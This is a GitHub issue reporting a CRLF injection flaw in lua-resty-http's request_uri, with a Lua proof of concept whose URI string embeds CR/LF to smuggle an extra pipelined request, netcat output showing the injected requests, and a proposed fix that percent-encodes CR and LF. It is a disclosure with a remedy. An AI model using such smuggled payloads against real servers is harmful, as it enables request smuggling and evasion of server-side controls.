Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

request_uri allows CRLF injection #243

Open
z7z8th opened this issue Jul 13, 2021 · 0 comments
Open

request_uri allows CRLF injection #243

z7z8th opened this issue Jul 13, 2021 · 0 comments

Comments

@z7z8th
Copy link

z7z8th commented Jul 13, 2021

The request_uri API syntax: res, err = httpc:request_uri(uri, params) allows the 1st param uri to contain CRLF (\r\n), which can be used to inject another request with http pipelining.

For example, the following code will result in 3 requests to be made.

  1. run nc as dummy http server nc -k -l 127.0.0.1 8088
  2. run test code
local http = require 'resty.http'

local httpc = http.new()

local mq = " HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Type: application/json\r\nX-File: abc\r\nContent-Length: 2\r\n\r\n{}GET /xxx-inject HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Length: 0\r\n\r\nGET /world"

local ret, err = httpc:request_uri('http://127.0.0.1:8088/hello'..mq)

Result in nc output:

GET /hello HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/json
X-File: abc
Content-Length: 2

{}GET /xxx-inject HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 0

GET /world HTTP/1.1
User-Agent: lua-resty-http/0.16.1 (Lua) ngx_lua/10019
Host: 127.0.0.1:8088

A possible fix is:

local http = require 'resty.http'

local httpc = http.new()

local mq = " HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Type: application/json\r\nX-File: abc\r\nContent-Length: 2\r\n\r\n{}GET /xxx-inject HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Length: 0\r\n\r\nGET /world"

local function uri_gsub_crlf(uri)
	return string.gsub(uri, '[\r\n]', function (s)
		return string.format('%%%02X', string.byte(s))
	end)
end

mq = uri_gsub_crlf(mq)

local ret, err = httpc:request_uri('http://127.0.0.1:8088/hello'..mq)

After the above fix, output in nc will be:

GET /hello HTTP/1.1%0D%0AHost: 127.0.0.1:8088%0D%0AContent-Type: application/json%0D%0AX-File: abc%0D%0AContent-Length: 2%0D%0A%0D%0A{}GET /xxx-inject HTTP/1.1%0D%0AHost: 127.0.0.1:8088%0D%0AContent-Length: 0%0D%0A%0D%0AGET /world HTTP/1.1
User-Agent: lua-resty-http/0.16.1 (Lua) ngx_lua/10019
Host: 127.0.0.1:8088
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant